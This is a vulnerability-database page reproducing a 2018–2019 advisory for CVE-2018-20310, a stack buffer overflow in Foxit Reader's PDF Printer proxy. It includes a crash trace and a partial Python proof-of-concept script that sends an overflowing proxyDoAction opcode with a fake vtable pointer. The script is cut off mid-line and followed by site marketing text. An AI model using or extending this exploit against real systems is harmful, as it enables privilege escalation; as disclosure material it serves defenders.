Lucene search
K

SRC-2019-0025 : Foxit Reader PDF Printer proxyDoAction opcode Stack Buffer Overflow Elevation of Privilege Vulnerability

🗓️ 19 Dec 2018 00:00:00Reported by Steven Seeley (mr_me) of Source InciteType 
srcincite
 srcincite
🔗 srcincite.io👁 19 Views

Foxit Reader PDF Printer proxyDoAction opcode Stack Buffer Overflow Privilege Escalatio

Related
Code
ReporterTitlePublishedViews
Family
AlpineLinux
CVE-2018-20310
7 Jan 202116:56
alpinelinux
AlpineLinux
CVE-2018-20312
7 Jan 202117:01
alpinelinux
AlpineLinux
CVE-2018-20316
7 Jan 202117:07
alpinelinux
Circl
CVE-2018-20310
7 Jan 202120:46
circl
CNNVD
Foxit Reader and PhantomPDF 竞争条件问题漏洞
7 Jan 202100:00
cnnvd
CNVD
Foxit Reader and PhantomPDF Competitive Conditions Vulnerability (CNVD-2021-04398)
8 Jan 202100:00
cnvd
CVE
CVE-2018-20310
7 Jan 202116:56
cve
Cvelist
CVE-2018-20310
7 Jan 202116:56
cvelist
EUVD
EUVD-2018-12870
7 Oct 202500:30
euvd
Tenable Nessus
Foxit PhantomPDF < 8.3.10 Multiple Vulnerabilities
30 Apr 201900:00
nessus
Rows per page
"""
Foxit Reader PDF Printer proxyDoAction opcode Stack Buffer Overflow Elevation of Privilege Vulnerability
Version: 9.3.0.912
SRC: SRC-2019-0025
CVE: CVE-2018-20310
Vendor Advisory: https://www.foxitsoftware.com/support/security-bulletins.php
Details: https://srcincite.io/blog/2019/04/19/its-not-our-sandbox-auditing-foxit-readers-pdf-printer-for-an-eop.html

Summary:
========

The FoxitProxyServer_Socket_RD.exe application contains code that when calling the proxyDoAction function with a large opcode will trigger a stack based buffer overflow. An attacker can possibly leverage this to elevate their privileges under the context of the FoxitProxyServer_Socket_RD.exe server outside of a sandbox.

Debugging:
==========

(2b90.cc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitProxyServer_Socket_RD.exe -
FoxitProxyServer_Socket_RD+0x1e4b5:
00a0e4b5 ff5008          call    dword ptr [eax+8]    ds:002b:cafebabe=????????
0:000:x86>
"""

import sys
import struct
import socket

def gen_packet():
    """
    This method generates the packet structure
    """

    # generate buffer
    opcode  = "\x41" * 0x34

    # use this if you wanna write an exploit to pwn var_28 and redirect execution
    # this is the fake vtable
    opcode += struct.pack("I", 0xcafebabe-0x8)

    method = "proxyDoAction"
    raw_packet = "foxb"                              # foxit begin header
    raw_packet += "requ"                             # request header
    raw_packet += "\xff\xff\xff\xff"                 # size of the packet including the header (patched in later)
    raw_packet += struct.pack("I", len(method))      # length of method
    raw_packet += method                             # method
    raw_packet += struct.pack("

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2019 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 26.8
CVSS 3.18.1
EPSS0.00026
19